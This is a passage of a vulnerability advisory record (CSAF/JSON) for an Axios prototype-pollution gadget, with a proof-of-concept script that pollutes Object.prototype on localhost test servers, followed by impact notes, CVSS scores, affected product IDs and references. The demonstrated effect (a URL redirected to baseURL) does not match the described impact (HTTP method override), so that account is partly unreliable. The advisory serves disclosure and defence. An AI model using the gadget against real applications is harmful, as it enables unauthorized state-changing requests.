`validate-prototype-allowabsoluteurls-gadget.mjs`:\n\n```js\nimport http from \"node:http\";\nimport axios from \"axios\";\n\nasync function listen(server) {\n await new Promise((resolve) => server.listen(0, \"127.0.0.1\", resolve));\n return server.address().port;\n}\n\nasync function runCase(label, requestFn) {\n const baseHits = [];\n const absoluteHits = [];\n\n const baseServer = http.createServer((req, res) => {\n baseHits.push({ method: req.method, url: req.url, host: req.headers.host || \"\" });\n res.end(\"base\");\n });\n\n const absoluteServer = http.createServer((req, res) => {\n absoluteHits.push({ method: req.method, url: req.url, host: req.headers.host || \"\" });\n res.end(\"absolute\");\n });\n\n const basePort = await listen(baseServer);\n const absolutePort = await listen(absoluteServer);\n\n try {\n await requestFn({\n baseURL: `http://127.0.0.1:${basePort}/api`,\n url: `http://127.0.0.1:${absolutePort}/absolute-path`,\n });\n } catch {}\n\n baseServer.close();\n absoluteServer.close();\n\n return { label, baseHits, absoluteHits };\n}\n\nconst results = [];\n\nresults.push(await runCase(\"baseline-no-pollution\", (config) => axios.request(config)));\n\nObject.prototype.allowAbsoluteUrls = false;\ntry {\n results.push(await runCase(\"polluted-default-request\", (config) => axios.request(config)));\n const instance = axios.create();\n results.push(await runCase(\"polluted-created-instance\", (config) => instance.request(config)));\n} finally {\n delete Object.prototype.allowAbsoluteUrls;\n}\n\nconsole.log(`axiosVersion=${axios.VERSION}`);\nconsole.log(`results=${JSON.stringify(results)}`);\n```\n\nObserved result:\n\n```text\naxiosVersion=1.17.0\nbaselineUsedAbsolute=true\npollutedDefaultUsedBase=true\npollutedInstanceUsedAbsolute=true\nRESULT: CONFIRMED\n```\n\nWithout pollution, Axios sends the request to the absolute URL. After `Object.prototype.allowAbsoluteUrls = false`, the default Axios instance combines the absolute URL with `baseURL` and sends the request to the base server instead. An instance created with `axios.create()` remains unaffected.\n\n### Impact\n\nThis is a prototype-pollution gadget. It becomes exploitable when an application has any separate prototype-pollution primitive that allows an attacker to set properties on `Object.prototype` in the same Node.js process.\n\nIf such pollution is possible, an attacker can influence Axios default-instance requests that omit an explicit method:\n\n- `axios.request({ url })`\n- `axios({ url })`\n\nThis can turn an expected safe default `GET` request into a state-changing method such as:\n\n- `DELETE`\n- `POST`\n- `PUT`\n- `PATCH`\n\nPotential impact includes unauthorized state-changing requests, deletion of resources, unintended writes, data corruption, or denial of service when the target endpoint treats the HTTP method as security-relevant.\n\nThe issue does not require admin access to Axios itself, but it does require an existing prototype-pollution path in the application. Applications that always use explicit methods, method aliases such as `axios.get()`, or isolated instances created through `axios.create()` are not affected by the confirmed method-override path.\n
\n\n---", "title": "github - https://github.com/advisories/GHSA-9fr6-4gfg-395g" }, { "category": "description", "text": "Axios: Prototype-Pollution Gadget in the Default Instance Allows Inherited Object.prototype.method to Override HTTP Method", "title": "microsoft - https://api.msrc.microsoft.com/cvrf/v3.0/cvrf/2026-Sep" }, { "category": "other", "text": "0.00413", "title": "EPSS" }, { "category": "other", "text": "CVSS:4.0/AV:N/AC:L/AT:P/PR:N/UI:N/VC:N/VI:N/VA:N/SC:N/SI:H/SA:N", "title": "CVSSV4" }, { "category": "other", "text": "6.9", "title": "CVSSV4 base score" }, { "category": "other", "text": "3.8", "title": "NCSC Score" }, { "category": "other", "text": "There is cwe data available from source Nvd, Is related to CWE-1321 (Improperly Controlled Modification of Object Prototype Attributes ('Prototype Pollution')), The value of the most recent CVSS (V3) score", "title": "NCSC Score top decreasing factors" }, { "category": "details", "text": "Severity: 2\n", "title": "Vendor assessment" } ], "product_status": { "known_affected": [ "CSAFPID-9482817", "CSAFPID-9482811", "CSAFPID-3129265", "CSAFPID-3636395", "CSAFPID-3636396", "CSAFPID-3636397", "CSAFPID-3636398", "CSAFPID-3636399", "CSAFPID-3636400", "CSAFPID-3636401", "CSAFPID-3636402", "CSAFPID-3636403", "CSAFPID-3636404", "CSAFPID-3636405", "CSAFPID-3636406", "CSAFPID-3636407", "CSAFPID-3636408", "CSAFPID-3636409", "CSAFPID-3636410", "CSAFPID-3636411", "CSAFPID-3636412", "CSAFPID-3636413", "CSAFPID-3636414", "CSAFPID-3636415", "CSAFPID-3636416", "CSAFPID-3636417", "CSAFPID-3636418", "CSAFPID-3658038", "CSAFPID-3658054", "CSAFPID-3658055", "CSAFPID-3658057", "CSAFPID-3658058", "CSAFPID-3658059", "CSAFPID-3658060", "CSAFPID-3658061", "CSAFPID-3658062", "CSAFPID-3658063", "CSAFPID-3658064", "CSAFPID-3658065", "CSAFPID-3658066", "CSAFPID-3658067", "CSAFPID-3658068", "CSAFPID-3658069", "CSAFPID-3658070", "CSAFPID-3658071", "CSAFPID-3658072", "CSAFPID-3658073", "CSAFPID-3721220", "CSAFPID-3721221", "CSAFPID-3721222", "CSAFPID-3721223", "CSAFPID-3721224", "CSAFPID-3721225", "CSAFPID-3721226", "CSAFPID-3721227", "CSAFPID-3721228", "CSAFPID-3721229", "CSAFPID-4429447", "CSAFPID-4429448", "CSAFPID-4429449", "CSAFPID-4847028", "CSAFPID-4847029", "CSAFPID-5588483", "CSAFPID-5588484", "CSAFPID-5588485", "CSAFPID-5588486", "CSAFPID-5588487", "CSAFPID-5588488", "CSAFPID-5588489", "CSAFPID-5588490", "CSAFPID-5631707", "CSAFPID-8580141", "CSAFPID-8580142", "CSAFPID-8580143", "CSAFPID-8580144", "CSAFPID-8580145", "CSAFPID-8583063", "CSAFPID-8600993", "CSAFPID-8600994", "CSAFPID-8600995", "CSAFPID-8925638", "CSAFPID-8925639", "CSAFPID-8925640", "CSAFPID-8925641", "CSAFPID-9484961", "CSAFPID-9484962", "CSAFPID-9484963", "CSAFPID-9485032", "CSAFPID-6014972", "CSAFPID-8902830", "CSAFPID-8902831", "CSAFPID-9053231", "CSAFPID-2434928" ], "known_not_affected": [ "CSAFPID-8476867" ] }, "references": [ { "category": "external", "summary": "Source - nvd", "url": "https://nvd.nist.gov/vuln/detail/CVE-2026-101902" }, { "category": "external", "summary": "Source - ncscclear", "url": "https://vulnerabilities.ncsc.nl/manual/CVE-2026-101902" }, { "category": "external", "summary": "Source - cveprojectv5", "url": "https://www.cve.org/CVERecord?id=CVE-2026-101902" }, { "category": "external", "summary": "Source - osv", "url": "https://www.googleapis.com/download/storage/v1/b/osv-vulnerabilities/o/GIT%2FCVE-2026-101902.json?alt=media" }, { "category": "external", "summary": "Source - redhat", "url": "https://access.redhat.com/security/cve/CVE-2026-101902" }, { "category": "external", "summary": "Source - debian", "url": "https://security-tracker.debian.org/tracker/CVE-2026-101902" }, { "category": "external", "summary": "Source - first", "url": "https://api.first.org/data/v1/epss" }, { "category": "external", "summary": "Source - github", "url": "https://github.com/advisories/GHSA-9fr6-4gfg-395g" }, { "category": "external", "summary": "Source - microsoft", "url": "https://api.msrc.microsoft.com/cvrf/v3.0/cvrf/2026-Sep" }, { "category": "external", "summary": "Reference - cveprojectv5; github; nvd; osv; redhat", "url": "https://github.com/axios/axios/commit/d19040bda7a8be2f82c3c6e1a5bc03917daee39a" }, { "category": "external", "summary": "Reference - cveprojectv5; github; nvd; osv; redhat", "url": "https://github.com/axios/axios/pull/11141" }, { "category": "external", "summary": "Reference - cveprojectv5; github; nvd; osv; redhat", "url": "https://github.com/axios/axios/releases/tag/v0.34.0" }, { "category": "external", "summary": "Reference - cveprojectv5; github; nvd; osv; redhat", "url": "https://github.com/axios/axios/releases/tag/v1.20.0" }, { "category": "external", "summary": "Reference - cveprojectv5; github; nvd; osv; redhat", "url": "https://github.com/axios/axios/security/advisories/GHSA-9fr6-4gfg-395g" }, { "category": "external", "summary": "Reference - osv", "url": "https://github.com/CVEProject/cvelistV5/tree/main/cves/2026/101xxx/CVE-2026-101902.json" }, { "category": "external", "summary": "Reference - github; osv; redhat", "url": "https://nvd.nist.gov/vuln/detail/CVE-2026-101902" }, { "category": "external", "summary": "Reference - redhat", "url": "https://www.cve.org/CVERecord?id=CVE-2026-101902" }, { "category": "external", "summary": "Reference - github", "url": "https://github.com/advisories/GHSA-9fr6-4gfg-395g" } ], "scores": [ { "cvss_v3": { "version": "3.1", "vectorString": "CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:U/C:N/I:H/A:N", "baseScore": 5.9, "baseSeverity": "MEDIUM" }, "products": [ "CSAFPID-2434928", "CSAFPID-3129265", "CSAFPID-3636395", "CSAFPID-3636396", "CSAFPID-3636397", "CSAFPID-3636398", "CSAFPID-3636399", "CSAFPID-3636400", "CSAFPID-3636401", "CSAFPID-3636402", "CSAFPID-3636403", "CSAFPID-3636404", "CSAFPID-3636405", "CSAFPID-3636406", "CSAFPID-3636407", "CSAFPID-3636408", "CSAFPID-3636409", "CSAFPID-3636410", "CSAFPID-3636411", "CSAFPID-3636412", "CSAFPID-3636413", "CSAFPID-3636414", "CSAFPID-3636415", "CSAFPID-3636416", "CSAFPID-3636417", "CSAFPID-3636418", "CSAFPID-3658038", "CSAFPID-3658054", "CSAFPID-3658055", "CSAFPID-3658057", "CSAFPID-3658058", "CSAFPID-3658059", "CSAFPID-3658060", "CSAFPID-3658061", "CSAFPID-3658062", "CSAFPID-3658063", "CSAFPID-3658064", "CSAFPID-3658065", "CSAFPID-3658066", "CSAFPID-3658067", "CSAFPID-3658068", "CSAFPID-3658069", "CSAFPID-3658070", "CSAFPID-3658071", "CSAFPID-3658072", "CSAFPID-3658073", "CSAFPID-3721220", "CSAFPID-3721221", "CSAFPID-3721222", "CSAFPID-3721223", "CSAFPID-3721224", "CSAFPID-3721225", "CSAFPID-3721226", "CSAFPID-3721227", "CSAFPID-3721228", "CSAFPID-3721229", "CSAFPID-4429447", "CSAFPID-4429448", "CSAFPID-4429449", "CSAFPID-4847028", "CSAFPID-4847029", "CSAFPID-5588483", "CSAFPID-5588484", "CSAFPID-5588485", "CSAFPID-5588486", "CSAFPID-5588487", "CSAFPID-5588488", "CSAFPID-5588489", "CSAFPID-5588490", "CSAFPID-5631707", "CSAFPID-6014972", "CSAFPID-8580141", "CSAFPID-8580142", "CSAFPID-8580143", "CSAFPID-8580144", "CSAFPID-8580145", "CSAFPID-8583063", "CSAFPID-8600993", "CSAFPID-8600994", "CSAFPID-8600995", "CSAFPID-8902830", "CSAFPID-8902831", "CSAFPID-8925638", "CSAFPID-8925639", "CSAFPID-8925640", "CSAFPID-8925641", "CSAFPID-9053231", "CSAFPID-9482811", "CSAFPID-9482817", "CSAFPID-9484961", "CSAFPID-9484962", "CSAFPID-9484963", "CSAFPID-9485032" ] } ], "title": "CVE-2026-101902" } ] }